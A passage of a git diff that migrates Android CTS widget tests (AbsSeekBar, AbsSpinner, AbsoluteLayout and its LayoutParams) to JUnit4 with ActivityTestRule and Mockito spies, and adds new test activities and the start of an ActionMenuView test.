+        reset(mockThumb);
+        inflatedView.setThumbTintList(ColorStateList.valueOf(Color.RED));
+        verify(mockThumb, times(1)).setTintList(TestUtils.colorStateListOf(Color.RED));
 
-        thumb.reset();
-        view.setThumb(null);
-        view.setThumb(thumb);
-        assertTrue("Thumb tint applied when setThumbTintList() called before setThumb()",
-                thumb.hasCalledSetTint());
+        inflatedView.setThumbTintMode(PorterDuff.Mode.DST_ATOP);
+        assertEquals("Thumb tint mode changed correctly",
+                PorterDuff.Mode.DST_ATOP, inflatedView.getThumbTintMode());
+
+        reset(mockThumb);
+        inflatedView.setThumb(null);
+        inflatedView.setThumb(mockThumb);
+        verify(mockThumb, times(1)).setTintList(TestUtils.colorStateListOf(Color.RED));
     }
 
     @UiThreadTest
+    @Test
     public void testTickMarkTint() {
-        mActivity.setContentView(R.layout.seekbar_layout);
-
-        SeekBar inflatedView = (SeekBar) mActivity.findViewById(R.id.tick_mark_tint);
+        AbsSeekBar inflatedView = (AbsSeekBar) mActivity.findViewById(R.id.tick_mark_tint);
 
         assertEquals("TickMark tint inflated correctly",
                 Color.WHITE, inflatedView.getTickMarkTintList().getDefaultColor());
         assertEquals("TickMark tint mode inflated correctly",
                 PorterDuff.Mode.SRC_OVER, inflatedView.getTickMarkTintMode());
 
-        MockDrawable tickMark = new MockDrawable();
-        SeekBar view = new SeekBar(mActivity);
+        Drawable mockTickMark = spy(new ColorDrawable(Color.BLUE));
 
-        view.setTickMark(tickMark);
-        assertFalse("No tickMark tint applied by default", tickMark.hasCalledSetTint());
+        inflatedView.setTickMark(mockTickMark);
+        verify(mockTickMark, times(1)).setTintList(TestUtils.colorStateListOf(Color.WHITE));
 
-        view.setTickMarkTintList(ColorStateList.valueOf(Color.WHITE));
-        assertTrue("TickMark tint applied when setTickMarkTintList() called after setTickMark()",
-                tickMark.hasCalledSetTint());
+        reset(mockTickMark);
+        inflatedView.setTickMarkTintList(ColorStateList.valueOf(Color.RED));
+        verify(mockTickMark, times(1)).setTintList(TestUtils.colorStateListOf(Color.RED));
 
-        tickMark.reset();
-        view.setTickMark(null);
-        view.setTickMark(tickMark);
-        assertTrue("TickMark tint applied when setTickMarkTintList() called before setTickMark()",
-                tickMark.hasCalledSetTint());
+        inflatedView.setTickMarkTintMode(PorterDuff.Mode.DARKEN);
+        assertEquals("TickMark tint mode changed correctly",
+                PorterDuff.Mode.DARKEN, inflatedView.getTickMarkTintMode());
+
+        reset(mockTickMark);
+        inflatedView.setTickMark(null);
+        inflatedView.setTickMark(mockTickMark);
+        verify(mockTickMark, times(1)).setTintList(TestUtils.colorStateListOf(Color.RED));
+    }
+
+    @Test
+    public void testAccessSplitTrack() throws Throwable {
+        AbsSeekBar inflatedView = (AbsSeekBar) mActivity.findViewById(R.id.tick_mark_tint);
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, inflatedView,
+                () -> inflatedView.setSplitTrack(true));
+        assertTrue(inflatedView.getSplitTrack());
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, inflatedView,
+                () -> inflatedView.setSplitTrack(false));
+        assertFalse(inflatedView.getSplitTrack());
     }
 
     private static class MyAbsSeekBar extends AbsSeekBar {
@@ -293,6 +349,10 @@
             super(context, attrs, defStyle);
         }
 
+        public MyAbsSeekBar(Context context, AttributeSet attrs, int defStyle, int defStyleRes) {
+            super(context, attrs, defStyle, defStyleRes);
+        }
+
         @Override
         protected void drawableStateChanged() {
             super.drawableStateChanged();
@@ -303,45 +363,4 @@
             return super.verifyDrawable(who);
         }
     }
-
-    private static class MockDrawable extends Drawable {
-        private int mAlpha;
-        private boolean mCalledDraw = false;
-        private boolean mCalledSetTint = false;
-
-        @Override
-        public void draw(Canvas canvas) { }
-
-        public void reset() {
-            mCalledDraw = false;
-            mCalledSetTint = false;
-        }
-
-        @Override
-        public int getOpacity() {
-            return 0;
-        }
-
-        @Override
-        public void setAlpha(int alpha) {
-            mAlpha = alpha;
-        }
-
-        public int getAlpha() {
-            return mAlpha;
-        }
-
-        @Override
-        public void setColorFilter(ColorFilter cf) { }
-
-        @Override
-        public void setTintList(ColorStateList tint) {
-            super.setTintList(tint);
-            mCalledSetTint = true;
-        }
-
-        public boolean hasCalledSetTint() {
-            return mCalledSetTint;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java b/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java
index e07e8b1..36f56a1 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java
@@ -16,17 +16,20 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
-
-import org.xmlpull.v1.XmlPullParser;
-
-import android.content.Context;
+import android.app.Activity;
 import android.database.DataSetObserver;
 import android.graphics.Rect;
 import android.os.Parcelable;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -39,109 +42,115 @@
 import android.widget.Spinner;
 import android.widget.SpinnerAdapter;
 
-public class AbsSpinnerTest extends ActivityInstrumentationTestCase2<RelativeLayoutCtsActivity> {
-    private Context mContext;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
-    public AbsSpinnerTest() {
-        super("android.widget.cts", RelativeLayoutCtsActivity.class);
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AbsSpinnerTest {
+    private Activity mActivity;
+    private AbsSpinner mAbsSpinner;
+
+    @Rule
+    public ActivityTestRule<RelativeLayoutCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RelativeLayoutCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mAbsSpinner = (AbsSpinner) mActivity.findViewById(R.id.spinner1);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-    }
-
-    @UiThreadTest
+    @Test
     public void testConstructor() {
-        new Spinner(mContext);
+        new Spinner(mActivity);
 
-        new Spinner(mContext, null);
+        new Spinner(mActivity, null);
 
-        new Spinner(mContext, null, android.R.attr.spinnerStyle);
+        new Spinner(mActivity, null, android.R.attr.spinnerStyle);
 
-        new Gallery(mContext);
-        new Gallery(mContext, null);
-        new Gallery(mContext, null, 0);
+        new Gallery(mActivity);
+        new Gallery(mActivity, null);
+        new Gallery(mActivity, null, 0);
 
-        XmlPullParser parser = mContext.getResources().getXml(R.layout.gallery_test);
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.gallery_test);
         AttributeSet attrs = Xml.asAttributeSet(parser);
-        new Gallery(mContext, attrs);
-        new Gallery(mContext, attrs, 0);
+        new Gallery(mActivity, attrs);
+        new Gallery(mActivity, attrs, 0);
     }
 
-    @UiThreadTest
     /**
      * Check points:
      * 1. Jump to the specific item.
      */
+    @UiThreadTest
+    @Test
     public void testSetSelectionIntBoolean() {
-        AbsSpinner absSpinner = (AbsSpinner) getActivity().findViewById(R.id.spinner1);
-        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mContext,
-                android.widget.cts.R.array.string, android.R.layout.simple_spinner_item);
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
         adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
-        absSpinner.setAdapter(adapter);
-        assertEquals(0, absSpinner.getSelectedItemPosition());
+        mAbsSpinner.setAdapter(adapter);
+        assertEquals(0, mAbsSpinner.getSelectedItemPosition());
 
-        absSpinner.setSelection(1, true);
-        assertEquals(1, absSpinner.getSelectedItemPosition());
+        mAbsSpinner.setSelection(1, true);
+        assertEquals(1, mAbsSpinner.getSelectedItemPosition());
 
-        absSpinner.setSelection(absSpinner.getCount() - 1, false);
-        assertEquals(absSpinner.getCount() - 1, absSpinner.getSelectedItemPosition());
+        mAbsSpinner.setSelection(mAbsSpinner.getCount() - 1, false);
+        assertEquals(mAbsSpinner.getCount() - 1, mAbsSpinner.getSelectedItemPosition());
 
         // The animation effect depends on implementation in AbsSpinner's subClass.
         // It is not meaningful to check it.
     }
 
-    @UiThreadTest
     /**
      * Check points:
      * 1. the currently selected item should be the one which set using this method.
      */
+    @UiThreadTest
+    @Test
     public void testSetSelectionInt() {
-        AbsSpinner absSpinner = (AbsSpinner) getActivity().findViewById(R.id.spinner1);
-        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mContext,
-                android.widget.cts.R.array.string, android.R.layout.simple_spinner_item);
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
         adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
-        absSpinner.setAdapter(adapter);
-        assertEquals(0, absSpinner.getSelectedItemPosition());
+        mAbsSpinner.setAdapter(adapter);
+        assertEquals(0, mAbsSpinner.getSelectedItemPosition());
 
-        absSpinner.setSelection(1);
-        assertEquals(1, absSpinner.getSelectedItemPosition());
+        mAbsSpinner.setSelection(1);
+        assertEquals(1, mAbsSpinner.getSelectedItemPosition());
 
-        absSpinner.setSelection(absSpinner.getCount() - 1);
-        assertEquals(absSpinner.getCount() - 1, absSpinner.getSelectedItemPosition());
+        mAbsSpinner.setSelection(mAbsSpinner.getCount() - 1);
+        assertEquals(mAbsSpinner.getCount() - 1, mAbsSpinner.getSelectedItemPosition());
     }
 
-    @UiThreadTest
     /**
      * Check points:
      * 1. the adapter returned from getAdapter() should be the one specified using setAdapter().
      * 2. the adapter provides methods to transform spinner items based on their position
      * relative to the selected item.
      */
+    @UiThreadTest
+    @Test
     public void testAccessAdapter() {
-        AbsSpinner absSpinner = (AbsSpinner) getActivity().findViewById(R.id.spinner1);
-        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mContext,
-                android.widget.cts.R.array.string, android.R.layout.simple_spinner_item);
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
         adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
 
-        absSpinner.setAdapter(adapter);
-        assertSame(adapter, absSpinner.getAdapter());
-        assertEquals(adapter.getCount(), absSpinner.getCount());
-        assertEquals(0, absSpinner.getSelectedItemPosition());
-        assertEquals(adapter.getItemId(0), absSpinner.getSelectedItemId());
-        absSpinner.setSelection(1);
-        assertEquals(1, absSpinner.getSelectedItemPosition());
-        assertEquals(adapter.getItemId(1), absSpinner.getSelectedItemId());
-
-        // issue 1695243, if adapter is null, NullPointerException will be thrown when do layout.
-        // There is neither limit in code nor description about it in javadoc.
+        mAbsSpinner.setAdapter(adapter);
+        assertSame(adapter, mAbsSpinner.getAdapter());
+        assertEquals(adapter.getCount(), mAbsSpinner.getCount());
+        assertEquals(0, mAbsSpinner.getSelectedItemPosition());
+        assertEquals(adapter.getItemId(0), mAbsSpinner.getSelectedItemId());
+        mAbsSpinner.setSelection(1);
+        assertEquals(1, mAbsSpinner.getSelectedItemPosition());
+        assertEquals(adapter.getItemId(1), mAbsSpinner.getSelectedItemId());
     }
 
-    @UiThreadTest
+    @Test
     public void testRequestLayout() {
-        AbsSpinner absSpinner = new Spinner(mContext);
+        AbsSpinner absSpinner = new Spinner(mActivity);
         absSpinner.layout(0, 0, 200, 300);
         assertFalse(absSpinner.isLayoutRequested());
 
@@ -149,27 +158,26 @@
         assertTrue(absSpinner.isLayoutRequested());
     }
 
-    @UiThreadTest
     /**
      * Check points:
      * 1. The value returned from getCount() equals the count of Adapter associated with
      * this AdapterView.
      */
+    @UiThreadTest
+    @Test
     public void testGetCount() {
-        AbsSpinner absSpinner = (AbsSpinner) getActivity().findViewById(R.id.spinner1);
+        ArrayAdapter<CharSequence> adapter1 = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
 
-        ArrayAdapter<CharSequence> adapter1 = ArrayAdapter.createFromResource(mContext,
-                android.widget.cts.R.array.string, android.R.layout.simple_spinner_item);
-
-        absSpinner.setAdapter(adapter1);
-        assertEquals(adapter1.getCount(), absSpinner.getCount());
+        mAbsSpinner.setAdapter(adapter1);
+        assertEquals(adapter1.getCount(), mAbsSpinner.getCount());
 
         CharSequence anotherStringArray[] = { "another array string 1", "another array string 2" };
-        ArrayAdapter<CharSequence> adapter2 = new ArrayAdapter<CharSequence>(mContext,
+        ArrayAdapter<CharSequence> adapter2 = new ArrayAdapter<>(mActivity,
                 android.R.layout.simple_spinner_item, anotherStringArray);
 
-        absSpinner.setAdapter(adapter2);
-        assertEquals(anotherStringArray.length, absSpinner.getCount());
+        mAbsSpinner.setAdapter(adapter2);
+        assertEquals(anotherStringArray.length, mAbsSpinner.getCount());
     }
 
     /**
@@ -177,9 +185,9 @@
      * 1. Should return the position of the item which contains the specified point.
      * 2. Should return INVALID_POSITION if the point does not intersect an item
      */
-    @UiThreadTest
+    @Test
     public void testPointToPosition() {
-        AbsSpinner absSpinner = new Gallery(mContext);
+        AbsSpinner absSpinner = new Gallery(mActivity);
         MockSpinnerAdapter adapter = new MockSpinnerAdapter();
         assertEquals(AdapterView.INVALID_POSITION, absSpinner.pointToPosition(10, 10));
 
@@ -212,9 +220,9 @@
      * 1. Should return the view corresponding to the currently selected item.
      * 2. Should return null if nothing is selected.
      */
-    @UiThreadTest
+    @Test
     public void testGetSelectedView() {
-        AbsSpinner absSpinner = new Gallery(mContext);
+        AbsSpinner absSpinner = new Gallery(mActivity);
         MockSpinnerAdapter adapter = new MockSpinnerAdapter();
         assertNull(absSpinner.getSelectedView());
 
@@ -224,46 +232,34 @@
 
         absSpinner.setSelection(1, true);
         assertSame(absSpinner.getChildAt(1), absSpinner.getSelectedView());
-
     }
 
-    @UiThreadTest
     /**
      * Check points:
      * 1. the view's current state saved by onSaveInstanceState() should be correctly restored
      * after onRestoreInstanceState().
      */
+    @UiThreadTest
+    @Test
     public void testOnSaveAndRestoreInstanceState() {
-        AbsSpinner absSpinner = (AbsSpinner) getActivity().findViewById(R.id.spinner1);
-        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mContext,
-                android.widget.cts.R.array.string, android.R.layout.simple_spinner_item);
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
         adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
-        absSpinner.setAdapter(adapter);
-        assertEquals(0, absSpinner.getSelectedItemPosition());
-        assertEquals(adapter.getItemId(0), absSpinner.getSelectedItemId());
-        Parcelable parcelable = absSpinner.onSaveInstanceState();
+        mAbsSpinner.setAdapter(adapter);
+        assertEquals(0, mAbsSpinner.getSelectedItemPosition());
+        assertEquals(adapter.getItemId(0), mAbsSpinner.getSelectedItemId());
+        Parcelable parcelable = mAbsSpinner.onSaveInstanceState();
 
-        absSpinner.setSelection(1);
-        assertEquals(1, absSpinner.getSelectedItemPosition());
-        assertEquals(adapter.getItemId(1), absSpinner.getSelectedItemId());
+        mAbsSpinner.setSelection(1);
+        assertEquals(1, mAbsSpinner.getSelectedItemPosition());
+        assertEquals(adapter.getItemId(1), mAbsSpinner.getSelectedItemId());
 
-        absSpinner.onRestoreInstanceState(parcelable);
-        absSpinner.measure(View.MeasureSpec.EXACTLY, View.MeasureSpec.EXACTLY);
-        absSpinner.layout(absSpinner.getLeft(), absSpinner.getTop(), absSpinner.getRight(),
-                absSpinner.getBottom());
-        assertEquals(0, absSpinner.getSelectedItemPosition());
-        assertEquals(adapter.getItemId(0), absSpinner.getSelectedItemId());
-    }
-
-    public void testGenerateDefaultLayoutParams() {
-//        final MockSpinner absSpinner = new MockSpinner(mContext);
-//        LayoutParams layoutParams = (LayoutParams) absSpinner.generateDefaultLayoutParams();
-//        assertEquals(LayoutParams.MATCH_PARENT, layoutParams.width);
-//        assertEquals(LayoutParams.WRAP_CONTENT, layoutParams.height);
-    }
-
-    public void testOnMeasure() {
-        // onMeasure() is implementation details, do NOT test
+        mAbsSpinner.onRestoreInstanceState(parcelable);
+        mAbsSpinner.measure(View.MeasureSpec.EXACTLY, View.MeasureSpec.EXACTLY);
+        mAbsSpinner.layout(mAbsSpinner.getLeft(), mAbsSpinner.getTop(),
+                mAbsSpinner.getRight(), mAbsSpinner.getBottom());
+        assertEquals(0, mAbsSpinner.getSelectedItemPosition());
+        assertEquals(adapter.getItemId(0), mAbsSpinner.getSelectedItemId());
     }
 
     /*
@@ -299,7 +295,7 @@
         }
 
         public View getView(int position, View convertView, ViewGroup parent) {
-            return new ImageView(mContext);
+            return new ImageView(mActivity);
         }
 
         public int getViewTypeCount() {
diff --git a/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutCtsActivity.java b/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutCtsActivity.java
new file mode 100644
index 0000000..cfd570c
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.AbsoluteLayout;
+
+/**
+ * A minimal application for {@link AbsoluteLayout} test
+ */
+public class AbsoluteLayoutCtsActivity extends Activity {
+    /**
+     * Called when the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.absolute_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java b/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java
index a838f65..924da09 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java
@@ -16,44 +16,56 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.content.Context;
-import android.cts.util.WidgetTestUtils;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.ViewGroup;
 import android.widget.AbsoluteLayout;
 import android.widget.AbsoluteLayout.LayoutParams;
 
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
-@SuppressWarnings("deprecation")
-public class AbsoluteLayoutTest extends ActivityInstrumentationTestCase2<CtsActivity> {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AbsoluteLayoutTest {
     private static final int DEFAULT_X      = 5;
     private static final int DEFAULT_Y      = 10;
     private static final int DEFAULT_WIDTH  = 20;
     private static final int DEFAULT_HEIGHT = 30;
 
     private Activity mActivity;
+    private AbsoluteLayout mAbsoluteLayout;
     private MyAbsoluteLayout mMyAbsoluteLayout;
     private LayoutParams mAbsoluteLayoutParams;
 
-    public AbsoluteLayoutTest() {
-        super("android.widget.cts", CtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<AbsoluteLayoutCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AbsoluteLayoutCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mMyAbsoluteLayout = new MyAbsoluteLayout(mActivity);
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mAbsoluteLayout = (AbsoluteLayout) mActivity.findViewById(R.id.absolute_view);
+        mMyAbsoluteLayout = (MyAbsoluteLayout) mActivity.findViewById(R.id.absolute_view_custom);
         mAbsoluteLayoutParams = new LayoutParams(DEFAULT_WIDTH, DEFAULT_HEIGHT,
                 DEFAULT_X, DEFAULT_Y);
     }
@@ -64,6 +76,7 @@
         return Xml.asAttributeSet(parser);
     }
 
+    @Test
     public void testConstructor() throws XmlPullParserException, IOException {
         AttributeSet attrs = getAttributeSet();
 
@@ -74,14 +87,8 @@
         new AbsoluteLayout(mActivity, attrs, -1);
     }
 
-    public void testOnMeasure() {
-        // onMeasure() is implementation details, do NOT test
-    }
-
-    public void testOnLayout() {
-        // onMeasure() is implementation details, do NOT test
-    }
-
+    @UiThreadTest
+    @Test
     public void testCheckLayoutParams() {
         assertTrue(mMyAbsoluteLayout.checkLayoutParams(mAbsoluteLayoutParams));
 
@@ -90,15 +97,11 @@
         assertFalse(mMyAbsoluteLayout.checkLayoutParams(null));
     }
 
-    public void testGenerateLayoutParams1() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(R.layout.absolute_layout);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        AbsoluteLayout layout = (AbsoluteLayout) mActivity.findViewById(R.id.absolute_view);
-        LayoutParams params = (LayoutParams) layout.generateLayoutParams(getAttributeSet());
+    @UiThreadTest
+    @Test
+    public void testGenerateLayoutParamsFromAttributeSet() throws Throwable {
+        LayoutParams params = (LayoutParams) mAbsoluteLayout.generateLayoutParams(
+                getAttributeSet());
 
         assertNotNull(params);
         assertEquals(LayoutParams.MATCH_PARENT, params.width);
@@ -107,7 +110,9 @@
         assertEquals(0, params.y);
     }
 
-    public void testGenerateLayoutParams2() {
+    @UiThreadTest
+    @Test
+    public void testGenerateLayoutParamsFromLayoutParams() {
         LayoutParams params =
             (LayoutParams) mMyAbsoluteLayout.generateLayoutParams(mAbsoluteLayoutParams);
 
@@ -115,15 +120,15 @@
         assertEquals(DEFAULT_HEIGHT, params.height);
         assertEquals(0, params.x);
         assertEquals(0, params.y);
-
-        try {
-            mMyAbsoluteLayout.generateLayoutParams((LayoutParams) null);
-            fail("did not throw NullPointerException when ViewGroup.LayoutParams is null.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGenerateLayoutParamsFromNull() {
+        mMyAbsoluteLayout.generateLayoutParams((LayoutParams) null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testGenerateDefaultLayoutParams() {
         LayoutParams params = (LayoutParams) mMyAbsoluteLayout.generateDefaultLayoutParams();
 
@@ -133,11 +138,15 @@
         assertEquals(0, params.y);
     }
 
-    private static class MyAbsoluteLayout extends AbsoluteLayout {
+    public static class MyAbsoluteLayout extends AbsoluteLayout {
         public MyAbsoluteLayout(Context context) {
             super(context);
         }
 
+        public MyAbsoluteLayout(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
         @Override
         protected boolean checkLayoutParams(ViewGroup.LayoutParams p) {
             return super.checkLayoutParams(p);
diff --git a/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java
index 2723581..0faa547 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java
@@ -16,23 +16,37 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import android.cts.util.WidgetTestUtils;
-import android.test.AndroidTestCase;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.AbsoluteLayout;
 import android.widget.AbsoluteLayout.LayoutParams;
 
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
-@SuppressWarnings("deprecation")
-public class AbsoluteLayout_LayoutParamsTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AbsoluteLayout_LayoutParamsTest {
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
 
     private AttributeSet getAttributeSet() throws XmlPullParserException, IOException {
         XmlPullParser parser = mContext.getResources().getLayout(R.layout.absolute_layout);
@@ -40,6 +54,7 @@
         return Xml.asAttributeSet(parser);
     }
 
+    @Test
     public void testConstructor() throws XmlPullParserException, IOException {
         LayoutParams layoutParams;
 
@@ -58,6 +73,7 @@
         new AbsoluteLayout.LayoutParams(mContext, getAttributeSet());
     }
 
+    @Test
     public void testDebug() {
         LayoutParams layoutParams = new AbsoluteLayout.LayoutParams(1, 2, 3, 4);
         assertNotNull(layoutParams.debug("test: "));
diff --git a/tests/tests/widget/src/android/widget/cts/ActionMenuViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ActionMenuViewCtsActivity.java
new file mode 100644
index 0000000..1b58b63
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ActionMenuViewCtsActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.ActionMenuView;
+
+/**
+ * A minimal application for {@link ActionMenuView} test.
+ */
+public class ActionMenuViewCtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.actionmenuview_layout);
+    }
+}
+
diff --git a/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java b/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java
new file mode 100644
index 0000000..36b13d2
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.app.Instrumentation;
+import android.graphics.Color;
+import android.graphics.drawable.Drawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.Menu;
+import android.widget.ActionMenuView;
+import android.widget.cts.util.TestUtils;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ActionMenuViewTest {
+    private Instrumentation mInstrumentation;
+    private ActionMenuViewCtsActivity mActivity;
+    private ActionMenuView mActionMenuView;
+
+    @Rule
+    public ActivityTestRule<ActionMenuViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ActionMenuViewCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mActionMenuView = (ActionMenuView) mActivity.findViewById(R.id.action_menu_view);
+    }
+
+    @Test
+    public void testConstructor() {
+        new ActionMenuView(mActivity);
+
+        new ActionMenuView(mActivity, null);
+    }
+
+    @UiThreadTest
